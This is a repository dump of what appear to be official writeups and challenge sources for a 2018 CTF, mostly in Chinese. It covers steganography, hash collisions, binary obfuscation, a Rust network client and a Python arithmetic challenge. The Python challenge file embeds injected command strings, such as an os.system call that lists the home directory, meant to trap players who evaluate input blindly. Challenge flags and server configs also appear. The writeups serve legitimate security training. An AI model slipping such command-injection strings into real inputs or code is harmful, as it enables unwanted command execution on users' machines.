| 16 | int puts(const char *s) { 17 | return 0; // speed up 18 | } 19 | 20 | int printf(const char *format, ...) { 21 | if (format[0] == 'f') { 22 | // is flag 23 | va_list arg_ptr; 24 | va_start(arg_ptr, format); 25 | vprintf(format, arg_ptr); 26 | return 0; 27 | } 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /official/her_gift/src/exp/exp2/exp2.md: -------------------------------------------------------------------------------- 1 | Patch the program to stop beeping, countdown, sleeping & slow output. 2 | 3 | ``` 4 | ./gift_patched "However, someday, someone will find it." 5 | ``` 6 | -------------------------------------------------------------------------------- /official/her_gift/src/exp/exp2/gift_patched: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/her_gift/src/exp/exp2/gift_patched -------------------------------------------------------------------------------- /official/her_gift/src/gift: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/her_gift/src/gift -------------------------------------------------------------------------------- /official/her_gift/src/src/HOWTO.md: -------------------------------------------------------------------------------- 1 | Steps: 2 | 3 | 1. Compile [obfuscator-llvm](https://github.com/obfuscator-llvm/obfuscator) on your own computer. Notice that there is an incompatibility between llvm 4.0 and gcc 8. Patch is [here](https://bugzilla.redhat.com/attachment.cgi?id=1389687&action=diff). 4 | 5 | 2. Compile `gift.c` and `sha1.c` 6 | 7 | ``` 8 | compiled_obfuscator_llvm/build/bin/clang gift.c sha1.c -s -mllvm -fla -mllvm -sub -mllvm -bcf 9 | ``` 10 | 11 | 3. Run `hid_version_info.py`, and there should be an executable `gift` in your folder. 12 | 13 | 4. Done. (A `Makefile` is written to help handling 2 & 3) 14 | 15 | -------------------------------------------------------------------------------- /official/her_gift/src/src/Makefile: -------------------------------------------------------------------------------- 1 | # modify CC to your own obfuscator-llvm location! 2 | 3 | CC := /root/tools/llvm-obf/build/bin/clang 4 | CFLAGS := -s -mllvm -fla -mllvm -sub -mllvm -bcf 5 | OUT := gift 6 | SRC := gift.c sha1.c 7 | 8 | SCRIPT := hid_version_info.py 9 | 10 | default: $(OUT) script 11 | 12 | $(OUT): $(SRC) 13 | $(CC) $^ -o $@ $(CFLAGS) 14 | 15 | script: $(SCRIPT) 16 | python $(SCRIPT) -------------------------------------------------------------------------------- /official/her_gift/src/src/hid_version_info.py: -------------------------------------------------------------------------------- 1 | f = open("gift", "rb") 2 | 3 | binary = f.read() 4 | f.close() 5 | 6 | binary = binary.replace(b'Obfuscator', bytes("Naive-doki")) 7 | binary = binary.replace(b'4.0.1', bytes("9.1.0")) 8 | 9 | f = open("gift", "wb") 10 | f.write(binary) 11 | f.close() 12 | -------------------------------------------------------------------------------- /official/her_gift/src/src/sha1.h: -------------------------------------------------------------------------------- 1 | #ifndef SHA1_H 2 | #define SHA1_H 3 | 4 | /* 5 | SHA-1 in C 6 | By Steve Reid 7 | 100% Public Domain 8 | */ 9 | 10 | #include "stdint.h" 11 | 12 | typedef struct 13 | { 14 | uint32_t state[5]; 15 | uint32_t count[2]; 16 | unsigned char buffer[64]; 17 | } SHA1_CTX; 18 | 19 | void SHA1Transform( 20 | uint32_t state[5], 21 | const unsigned char buffer[64] 22 | ); 23 | 24 | void SHA1Init( 25 | SHA1_CTX * context 26 | ); 27 | 28 | void SHA1Update( 29 | SHA1_CTX * context, 30 | const unsigned char *data, 31 | uint32_t len 32 | ); 33 | 34 | void SHA1Final( 35 | unsigned char digest[20], 36 | SHA1_CTX * context 37 | ); 38 | 39 | void SHA1( 40 | char *hash_out, 41 | const char *str, 42 | int len); 43 | 44 | #endif /* SHA1_H */ -------------------------------------------------------------------------------- /official/her_poem/README.md: -------------------------------------------------------------------------------- 1 | # 她的诗 2 | 3 | 高中时候语文作文从未写满过 50 分的小 T,可能是脑子哪里抽了吧,考上大学之后竟然报名加入了学校的文学社。虽然小 T 写作真的很糟糕,但每周的作品分享会上,他还是坚持与他人一起分享创作,并且看上去……他似乎还是很开心的。 4 | 5 | 这一周,当小 T 还是像往常一样拿出自己的创作时,她走了过来,递给小 T 一张纸。这是她新写的诗吗?可为什么,纸上全是一些奇奇怪怪的字符? 6 | 7 | 「这是,什……什么东西啊?!」 8 | 9 | 她一言不发,只是在离开时,她回过头来,小声说道: 10 | 11 | 「我要提醒一下你,只纠结于字面意思是很费劲的,而且……你不会得到任何有用的结论。」 12 | 13 | --- 14 | 15 | 小 T 的友人,在听闻这件事情后,经过一段时间的分析,找到了这首诗的编码,并且帮他写了一个很短的程序来解码。只是……从解码出的内容来看,事情远没有他们想像得那么简单。 16 | 17 | 你能找到她想传达的真正的信息吗? 18 | 19 | [打开题目](src/poem.zip) 20 | 21 | --- 22 | 23 | 当我得知这道题出现了非预期解时,我的内心是崩溃的。如果您是用非预期解完成的题目(表现为:得到了 flag,但完全不知道为什么),请先查询资料,思考一下为什么会存在这个非预期解,然后继续看这篇 writeup。~~顺便想给某站点的站长致以亲切友好的问候。~~ 24 | 25 | ## 预期题解 26 | 27 | 运行 `helper.py` 可以得到诗的内容,但比较明显的事情是,重点不在这个脚本可以解码出的诗上——如果是的话,我没有必要再去绕一大圈编码再写解码脚本发给你;而且题干里面也是有暗示的。 28 | 29 | > 「我要提醒一下你,只纠结于字面意思是很费劲的,而且……你不会得到任何有用的结论。」 30 | 31 | 我都这么说了啊…… 32 | 33 | `helper.py` 里面的 `begin 666 ` 是什么?搜索引擎可以很快告诉你,这是 uuencoding 编码。可以看到,这个脚本将文件的每一行当作一个被 uuencoding 编码后的文件进行解码。如果你去试一下,会发现一大部分明文行重新编码之后获得的字符串和原文件在末尾的地方不一样。那么很明显,这里有问题。 34 | 35 | Uuencoding 编码的结构是这样的: 36 | 37 | ``` 38 | 39 | ``` 40 | 41 | 第一个是长度字符,通过长度 + 32,再转成 ASCII 的方式出现(比如说,有 3 个字符,就是 `chr(3 + 32)`,即 `#`)。之后每三个字节(字符)为一组,以如下的方式编码: 42 | 43 | ![Uuencoding 编码方式](images/uuencoding_wikipedia.png) 44 | 45 | *(摘自[维基百科对应页面](https://en.wikipedia.org/wiki/Uuencoding))* 46 | 47 | 但不是每一行的字符都是 3 的倍数,那么如果最后一组没法填充的话(即长度乘 4 模 3 不为 0),那么对应部分就会填 0。那么我们想要隐藏的东西能不能就这样塞在填 0 的部分里面呢?答案当然是可以的,不然就没有这道题目了。 48 | 49 | 获得 flag 的做法中其中一种是一行一行用位运算的方式把 flag 的每个比特拼起来;另一种特定于这道题的方式是:直接扩大每行第一个长度字符到正确的值,具体的原因见下。 50 | 51 | ## 非预期题解 52 | 53 | 那么非预期题解是怎么回事呢?在出题的时候,因为 flag 很长,为了让「诗」短一点,把所有能用的比特都用上了,但是: 54 | 55 | - 如果最后一组只有一个字符,那么最多能填 16 位。 56 | - 只有两个的话,就是 8 位。 57 | 58 | 发现什么问题了吗?**它们都是 8 的倍数,即一个字符位数的倍数**。在大多数的实现中,解码都是正常的,但是**如果有 uuencoding 解码的实现忽略了表示长度的第一个字符**,并且你找到了这个实现,那么……就可以无脑获得 flag。 59 | 60 | (对我来讲)悲痛欲绝的是,想找到这个不太正常的实现并不难。 61 | 62 | ![emotion_feeling_hurt](images/emotion_feeling_hurt.png) 63 | 64 | *(图文无关 \* 2)* 65 | 66 | 这是我出题时候的疏忽,向各位道歉。 67 | 68 | ## 修复版本 69 | 70 | 这是修复了「她的诗」非预期解的版本:[https://github.com/taoky/her_poem_fixed_version](https://github.com/taoky/her_poem_fixed_version)。如果您用了非预期解完成原题,我强烈建议再试一下我微调后的题目。 71 | 72 | ## 花絮 73 | 74 | 后台看提交记录的时候,各位提交的 flag 千奇百怪,很心疼真跑去文本分析诗句和脚本写得有问题的同学。比如说这位同学,一直在正确 flag 的边缘徘徊:![Have some trouble writing scripts](images/wrong_script.png) 75 | 76 | 还有这位: 77 | 78 | ![Search Engine](images/ability_to_use_google.png) 79 | 80 | 我想表扬一下这位同学,他/她提交的 flag 证明了自己使用搜索引擎的能力,虽然……很遗憾,方向……是完全错误的。 81 | 82 | 另外的话,这道题是「她的诗」,不是 [请使用最新版黑曜石浏览器查看] 的诗啊……为什么会有人提交那种 flag 啊😂 83 | 84 | -------------------------------------------------------------------------------- /official/her_poem/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/her_poem/images/.gitkeep -------------------------------------------------------------------------------- /official/her_poem/images/ability_to_use_google.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/her_poem/images/ability_to_use_google.png -------------------------------------------------------------------------------- /official/her_poem/images/emotion_feeling_hurt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/her_poem/images/emotion_feeling_hurt.png -------------------------------------------------------------------------------- /official/her_poem/images/uuencoding_wikipedia.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/her_poem/images/uuencoding_wikipedia.png -------------------------------------------------------------------------------- /official/her_poem/images/wrong_script.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/her_poem/images/wrong_script.png -------------------------------------------------------------------------------- /official/her_poem/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/her_poem/src/.gitkeep -------------------------------------------------------------------------------- /official/her_poem/src/exp.py: -------------------------------------------------------------------------------- 1 | import string 2 | import base64 3 | import bitarray 4 | 5 | def cal_one_line(length): 6 | leftover = length * 4 % 3 7 | if leftover == 1: # 16 bits 8 | return 16 9 | elif leftover == 2: # 2 bits 10 | return 8 11 | else: 12 | return 0 13 | 14 | f = open("poem.txt", "r") 15 | enc_lines = f.read().splitlines() 16 | print(enc_lines) 17 | 18 | # find out the hidden FLAG! 19 | def find_hidden_bit(bit_len, bs): 20 | if bit_len == 8: 21 | ch_0 = ord(bs[-2]) - 32; ch_1 = ord(bs[-1]) - 32 22 | hidden_bit = ch_0 & 0b11 23 | print(bin(hidden_bit)) 24 | return '{0:02b}'.format(hidden_bit) + '{0:06b}'.format(ch_1) 25 | else: 26 | ch_0 = ord(bs[-3]) - 32; ch_1 = ord(bs[-2]) - 32; ch_2 = ord(bs[-1]) - 32 27 | hidden_bit = ch_0 & 0b1111 28 | print(bin(hidden_bit)) 29 | return '{0:04b}'.format(hidden_bit) + '{0:06b}'.format(ch_1) + '{0:06b}'.format(ch_2) 30 | 31 | ba = bitarray.bitarray() 32 | for i in enc_lines: 33 | len_i = ord(i[0]) - 32 34 | insert_bit_len = cal_one_line(len_i) 35 | print(insert_bit_len) 36 | if insert_bit_len == 0: 37 | continue 38 | ba.extend(find_hidden_bit(insert_bit_len, i)) 39 | print(ba) 40 | print(ba.tostring()) -------------------------------------------------------------------------------- /official/her_poem/src/helper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # This script helps you decode "her poem" 3 | 4 | from codecs import decode 5 | 6 | fin = open("poem.txt", "r") 7 | fout = open("poem.out", "w") 8 | 9 | for i in fin: 10 | data = "begin 666 \n" + i + " \nend\n" 11 | decode_data = decode(data.encode("ascii"), "uu") 12 | print(decode_data) 13 | fout.write(decode_data.decode("ascii") + "\n") 14 | 15 | fin.close() 16 | fout.close() -------------------------------------------------------------------------------- /official/her_poem/src/poem.txt: -------------------------------------------------------------------------------- 1 | )+2TM+2TM+2TM 2 | @5&AE2P@6]U(&QI:V4@=&AI2!L;W9E(&ET+F=! 16 | ?0G5T(&YO=&AI;F<@8V%N('-T87D@=6YC:&%N9V5D+FXP 17 | =1G5N('1H:6YG2!T:&EN9W,N+BYG 18 | G5&AE>2!C86XG="!A;&P@<&]S2!U;F-H86YG960N 19 | (179E;B!S;RQR 20 | @8V%N('EO=2!G;R!O;B!L;W9I;F<@=&AI2Y? 29 | )+2TM+2TM+2TM 30 | >17AP96-T871I;VYS(&%R92!W:&%T('EO=2!H879E 31 | 7=VAE;B!Y;W4@:&%V92!G:79E;B!U<"YU 32 | :17AP96-T871I;VYS(&%R92!B;W)N(&9R;VU5 33 | I82!D97-P86ER:6YG;'D@;&%R9V4@9&EF9F5R96YC92!I;B!S:VEL;"YE 34 | )+2TM+2TM+2TM 35 | ?02!J;VME(&]N;'D@;&%S=',@9F]R(&$@;6]M96YT+$YC 36 | @:68@:70@;&5A=F5S(&$@;6ES=6YD97)S=&%N9&EN9RPP 37 | 1:70@8F5C;VUE2!A;'-O(&)E(&QA8VMI;F=% 41 | 3:6X@2!H879E('1R;W5B;&5? 44 | 82!O;F4@86YO=&AE2!S=&]P(&EN=F5N=&EN9R!N97<@=&AI;F=S/S!? 47 | )+2TM+2TM+2TM 48 | B268@22!D;VXG="!H879E('1O(&1O(&ET+"!)('=O;B=T+F9U 49 | A268@22!H879E('1O(&1O(&ET+"!))VQL(&UA:V4@:70N 50 | )+2TM+2TM+2TM 51 | >+RH@2&5R92!I2!&3$%'/R Z*2 J+VY] 53 | -------------------------------------------------------------------------------- /official/her_poem/src/poem.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/her_poem/src/poem.zip -------------------------------------------------------------------------------- /official/mining_pool_of_Z/README.md: -------------------------------------------------------------------------------- 1 | # 家里有矿 2 | 3 |

提示:

4 |

1. 本题的浏览器“挖矿”只为演示性目的,几乎不占资源。我们不会以任何形式盗取或浪费大家电脑的算力。

5 |

2. 本题如果使用程序求解,对于普通配置的个人电脑,在解法正确且最优的情况下,求解程序的期望运行时间不会超过几分钟。

6 | 7 | Z 同学为了赶上区块链的热潮,自己潜心研究工作量证明(Proof of work)算法,并且发布了三种全新的电子货币。不仅如此,他还写了一个矿池。 8 | 9 | 给专业选手的注释:此题并非 web 题,解题过程不涉及注入、XSS、敏感文件泄露、弱类型等安全问题。 10 | 11 | [打开题目](http://202.38.95.46:12006/) 12 | 13 | --- 14 | 15 | 这道题是我出题花费时间最多,也是我最喜欢的一道题目。我暑假期间编写题目网站、调节每种 Hash 算法的难度、写解题代码、与其他人讨论是否有非预期解法等等,前前后后花了很多天的时间。 16 | 17 | ## 解题思路 18 | 19 | 所谓我发明的新的工作量证明算法,就是服务器给出一个后缀 `suffix`,我需要生成两个随机字符串 `nonce1` 和 `nonce2`,使得 `hash(nonce1+suffix)` 和 `hash(nonce2+suffix)` 相同的二进制位数量超过某一个值,这个值对于不同的 Hash 算法是不一样的 20 | 21 | ### SHA1 22 | 23 | 直接在 Google 搞出来的 sha1 碰撞 [那两个 pdf](https://shattered.io/) 后面加上 `suffix` 提交即可,因为是 Hash 碰撞,所以所有二进制位都是相同的 24 | 25 | ### MD5 26 | 27 | 这次使用已有的 md5 碰撞加上后缀会发现不给你 flag 了。期望解法有两种,一种是按照王小云的论文搞出来一个不完全的碰撞(我没研究),另一种是真的穷举。 28 | 29 | 我是用 C 语言写的穷举程序。为了偷懒,我在 python 解题脚本中生成了一堆 md5 写入一个二进制文件,然后调用 C 程序来穷举,C 程序就只需要算异或和统计二进制位的个数了。在 C 语言中使用 `__builtin_popcountll` 函数统计二进制位中 1 的个数,一条 POPCNT 指令就可以统计 64 bit,速度很快,一分钟之内有很大概率可以跑出来。听说有的同学还使用了 GPU 穷举,关于优化这块大家就各显神通了。 30 | 31 | ### SHA256 32 | 33 | 穷举是不可能的,即使你用大型超算都不太可能在比赛时间内跑出来。所以呢?期望解法是从比特币的区块链里面找数据。比特币的工作量证明算法是 sha256,现在区块链里面的每一个区块哈希前面都有大约 80 个二进制 0(多么疯狂啊),所以拿它们来找共同 bit 数很多的哈希值,自带了大约 40 位的加成(因为本来 80 位在期望上也有 40 位是相同的)。你需要想办法下载比特币所有区块的哈希,然后两两配对来看一下相同的 bit 数量。如果达到了题目要求,就是下载它们的区块头部,区块头部的两次 sha256 就是最终的 hash,你需要计算一次 sha256,然后结果就是你要提交的数据。不过,我们还是需要满足一个字符的 suffix 要求,这个只要你不断 getjob,总是可以很快拿到你想要的 suffix 的。 34 | 35 | 解题脚本:https://github.com/zzh1996/mining_pool_of_Z/blob/master/solution/solve.py 36 | 37 | 注:我设计题目和分析的过程都可以在上面这个仓库中找到 38 | -------------------------------------------------------------------------------- /official/mining_pool_of_Z/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/mining_pool_of_Z/images/.gitkeep -------------------------------------------------------------------------------- /official/mining_pool_of_Z/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/mining_pool_of_Z/src/.gitkeep -------------------------------------------------------------------------------- /official/mining_pool_of_Z/src/mining_pool_of_Z/.gitignore: -------------------------------------------------------------------------------- 1 | log 2 | -------------------------------------------------------------------------------- /official/mining_pool_of_Z/src/mining_pool_of_Z/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 3 | RUN apt update && apt install -y python3-pip && pip3 install flask 4 | COPY . /srv 5 | WORKDIR /srv 6 | CMD ["python3", "app.py"] 7 | -------------------------------------------------------------------------------- /official/mining_pool_of_Z/src/mining_pool_of_Z/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | web: 4 | build: . 5 | ports: 6 | - "12006:5000" 7 | volumes: 8 | - ./log:/log 9 | restart: always 10 | -------------------------------------------------------------------------------- /official/ohmycat/README.md: -------------------------------------------------------------------------------- 1 | # 猫咪和键盘 2 | 3 | 谨以此题,献给所有被猫破坏的代码。 4 | 5 | 众所周知,猫咪最喜欢钻纸箱和趴键盘,其中钻纸箱没有太大的社会危害性,而趴键盘则是对人类的毁灭性打击。 6 | 7 | (想象一下这里配了猫钻纸箱和趴键盘的图) 8 | 9 | 写到一半的代码离奇消失,仅剩的代码也被搞得乱七八糟,愤怒的 D 同学刚要捉住罪魁祸首,准备好好揍它一顿,不料这时猫咪又突w13gcft4n kj87u6,/lp0o9--=l[ 10 | 11 | [打开题目](src/typed_printf.cpp) 12 | 13 | --- 14 | 15 | 欢迎来到猫咪系列题目之**猫咪和键盘**。 16 | 17 | 这道题是一道非常简单的题目,主要是想让同学们学会一些文本编辑的技巧。 18 | 19 | ## 解法一:一种原始而可靠的办法 20 | 21 | 经过粗略观察,我们就可以发现这应该是一个 C++ 源代码,而代码被以“若干列”为单位打乱了。 22 | 23 | ![image-20181016012607646](images/image-20181016012607646.png) 24 | 25 | 我们的思路也很简单,就是先以“若干列”为单位将代码还原。 26 | 27 | 第一步:打印代码; 28 | 29 | ![image-20181016012829431](images/image-20181016012829431.png) 30 | 31 | 第二步:裁剪代码; 32 | 33 | ![image-20181016012937555](images/image-20181016012937555.png) 34 | 35 | 第三步:我编不下去了…… 36 | 37 | ![image-20181016013016568](images/image-20181016013016568.png) 38 | 39 | 当然,只要足够有耐心,这个方法确实是原始而可靠的。 40 | 41 | ## 解法二:文本编辑器的进阶技巧 42 | 43 | 21 世纪,许多编辑器都提供了“列编辑”模式,就我所知,以下常见的编辑器都是支持列编辑模式的: 44 | 45 | ### VS Code 46 | 47 | Windows/Linux: 48 | 49 | - `Alt + 鼠标左键` :可以添加多个光标; 50 | - `Shift + Alt + 拖动鼠标左键`:可以选中多列; 51 | 52 | macOS: 53 | 54 | - `shift + option + 左键`:可以选中多列; 55 | 56 | ### Sublime Text 57 | 58 | - `Shift + 鼠标右键`; 59 | - `鼠标中键`; 60 | 61 | - 选中需要进行列编辑的多行,然后按下 `Ctrl + Shift + L`; 62 | 63 | ### Vim 64 | 65 | - Normal mode: `Ctrl + v` 66 | 67 | ### Emacs 68 | 69 | 直接(或使用 `C-x SPC`)选定矩形区域的左上角和右下角, 70 | 71 | - `C-x r k` 剪切该矩形选区; 72 | - `C-x r y` 插入矩形选区。 73 | 74 | 任选一款文本编辑器,都可以轻松将代码还原。 75 | 76 | 还原后的代码大概长这个样: 77 | 78 | ```cpp 79 | /* 80 | * name: typed_printf.cpp 81 | * compile: g++ -std=c++17 typed_printf.cpp 82 | * title: type safe printf 83 | * author: nicekingwei 84 | * url: aHR0cHM6Ly96anUtbGFtYmRhLnRlY2gvY3BwZHQtcHJpbnRmLw== 85 | * related knowledge: 86 | * - value and type 87 | * value->value: function 88 | * type->value: parametric polymorphism 89 | * type->type: generic 90 | * value->type: dependent type 91 | * - auto 92 | * - if constexpr 93 | */ 94 | #include 95 | // 。。。 96 | ``` 97 | 98 | 根据提示,使用 `g++ -std=c++17 typed_printf.cpp` 编译并运行 `./a.out` 即可得到 flag。 99 | 100 | ## 冷知识 101 | 102 | 这一段代码是来自 ZJU Lambda 的 nicekingwei 同学: 103 | 104 | 主办方能用我的代码来出题,我感到很荣幸,虽然题目并不是考 cpp 元编程或 dependent type 之类的东西(那就成了 pl 知识竞赛了233)。其实我个人并不是很喜欢 cpp,因为实现一个 typed printf 都要这么麻烦(>_>)。最后打个广告吧?欢迎大家加入 ZJU Lambda 和我们一起讨论 pl/fp 相关知识,虽然我们大部分时间是在吹水和复读……(各位都是参加 ctf 比赛的,群号应该不用我放了吧嘻嘻) 105 | -------------------------------------------------------------------------------- /official/ohmycat/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/ohmycat/images/.gitkeep -------------------------------------------------------------------------------- /official/ohmycat/images/image-20181016012607646.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/ohmycat/images/image-20181016012607646.png -------------------------------------------------------------------------------- /official/ohmycat/images/image-20181016012829431.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/ohmycat/images/image-20181016012829431.png -------------------------------------------------------------------------------- /official/ohmycat/images/image-20181016012937555.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/ohmycat/images/image-20181016012937555.png -------------------------------------------------------------------------------- /official/ohmycat/images/image-20181016013016568.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/ohmycat/images/image-20181016013016568.png -------------------------------------------------------------------------------- /official/ohmycat/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/ohmycat/src/.gitkeep -------------------------------------------------------------------------------- /official/permission/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/permission/images/.gitkeep -------------------------------------------------------------------------------- /official/permission/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/permission/src/.gitkeep -------------------------------------------------------------------------------- /official/permission/src/b.rs: -------------------------------------------------------------------------------- 1 | use std::env; 2 | use std::net::{TcpStream, Ipv4Addr}; 3 | use std::io::{Write, Read}; 4 | 5 | const KEY: u64 = 19260817; 6 | const ADDR: [u8; 4] = [210, 64, 43, 233]; 7 | const PORT: u16 = 63665; 8 | 9 | fn main() { 10 | let args = env::args().collect::>(); 11 | args[0].find("sudo").expect("Permission denied"); 12 | let local_key = args[0].as_bytes()[0] as u8; 13 | 14 | let addr = Ipv4Addr::new(ADDR[0] ^ KEY as u8, ADDR[1] ^ KEY as u8, ADDR[2] ^ KEY as u8, ADDR[3] ^ KEY as u8); 15 | let port = PORT ^ KEY as u16; 16 | // println!("{:?}", (addr, port)); 17 | let mut stream = TcpStream::connect((addr, port)).unwrap(); 18 | stream.write(&[local_key]).expect("write"); 19 | let mut buf = Vec::new(); 20 | stream.read_to_end(&mut buf).expect("read"); 21 | for c in &mut buf { 22 | *c ^= local_key; 23 | } 24 | println!("{}", String::from_utf8(buf).expect("decode")); 25 | } 26 | -------------------------------------------------------------------------------- /official/permission/src/rev: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/permission/src/rev -------------------------------------------------------------------------------- /official/python_simulator/assets/cat.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/python_simulator/assets/cat.gif -------------------------------------------------------------------------------- /official/python_simulator/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/python_simulator/images/.gitkeep -------------------------------------------------------------------------------- /official/python_simulator/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/python_simulator/src/.gitkeep -------------------------------------------------------------------------------- /official/python_simulator/src/python_simulator/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list && \ 4 | apt-get update && apt-get -y dist-upgrade && \ 5 | apt-get install -y lib32z1 xinetd python3 6 | 7 | RUN useradd -m ctf 8 | 9 | WORKDIR /home/ctf 10 | 11 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 12 | COPY ./start.sh /start.sh 13 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 14 | 15 | RUN chmod +x /start.sh 16 | 17 | COPY ./bin/ /home/ctf/ 18 | 19 | CMD ["/start.sh"] 20 | 21 | EXPOSE 9999 22 | -------------------------------------------------------------------------------- /official/python_simulator/src/python_simulator/bin/pysim.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 -u 2 | 3 | import signal 4 | import random 5 | import math 6 | 7 | def timeout(signum, frame): 8 | print('Timeout!') 9 | exit() 10 | 11 | signal.signal(signal.SIGALRM, timeout) 12 | signal.alarm(30) 13 | print('You have only 30 seconds') 14 | 15 | def rint(): 16 | return str(int(math.e ** random.uniform(0, 5))) 17 | 18 | def rbigint(): 19 | digit = random.randrange(64,128) 20 | return str(random.randrange(2**digit, 2**(digit+1))) 21 | 22 | binops=['+','-','*','&','|','^'] 23 | nonbigops=['**','<<','>>'] 24 | boolops=['==','!=','>','<','>=','<='] 25 | 26 | def rexp(n=3, trick=False): 27 | if n: 28 | return rbinop(n, trick) 29 | else: 30 | if not trick: 31 | return rint() 32 | else: 33 | if random.randrange(100)<20: 34 | return rtrickexp() 35 | else: 36 | return rint() 37 | 38 | def rbigexp(n=2): 39 | if n: 40 | return rbigbinop(n) 41 | else: 42 | return rbigint() 43 | 44 | def rbinop(n, trick=False): 45 | e1 = rexp(n-1, trick) 46 | e2 = rexp(n-1, trick) 47 | if random.randrange(100) > 20: 48 | if n==1: 49 | op = random.choice(binops+nonbigops) 50 | else: 51 | op = random.choice(binops) 52 | return '('+e1+op+e2+')' 53 | else: 54 | op = random.choice(boolops) 55 | return 'int('+e1+op+e2+')' 56 | 57 | def rbigbinop(n): 58 | e1 = rbigexp(n-1) 59 | e2 = rbigexp(n-1) 60 | op = random.choice(binops) 61 | return '('+e1+op+e2+')' 62 | 63 | tricks=[ 64 | "__import__('os').system('find ~')", 65 | "__import__('time').sleep(100)", 66 | r"print('\x1b\x5b\x33\x3b\x4a\x1b\x5b\x48\x1b\x5b\x32\x4a')", 67 | 'exit()' 68 | ] 69 | 70 | def rtrickexp(): 71 | op = random.choice(['==','!=']) 72 | e1 = random.choice(tricks) 73 | e2 = rint() 74 | if random.randrange(2): 75 | e1, e2 = e2, e1 76 | return 'int('+e1+op+e2+')' 77 | 78 | def removetricks(s): 79 | for t in tricks: 80 | s = s.replace(t,'None') 81 | return s 82 | 83 | for i in range(100): 84 | if i < 30: 85 | expr = rexp() 86 | elif i < 50: 87 | expr = rbigexp() 88 | else: 89 | expr = rexp(trick=True) 90 | print(expr) 91 | ans = int(input()) 92 | #ans = eval(removetricks(expr)) 93 | #print(ans) 94 | if ans != eval(removetricks(expr)): 95 | print('Your answer is wrong!') 96 | exit() 97 | 98 | flag="flag{'Life_1s_sh0rt_use_PYTH0N'*1000}" 99 | print(flag) 100 | -------------------------------------------------------------------------------- /official/python_simulator/src/python_simulator/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = ctf 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/bin/python3 12 | # replace helloworld to your program 13 | server_args = -u /home/ctf/pysim.py 14 | banner_fail = /etc/banner_fail 15 | # safety options 16 | per_source = 10 # the maximum instances of this service per source IP address 17 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 18 | #rlimit_as = 1024M # the Address Space resource limit for the service 19 | #access_times = 2:00-9:00 12:00-24:00 20 | } 21 | -------------------------------------------------------------------------------- 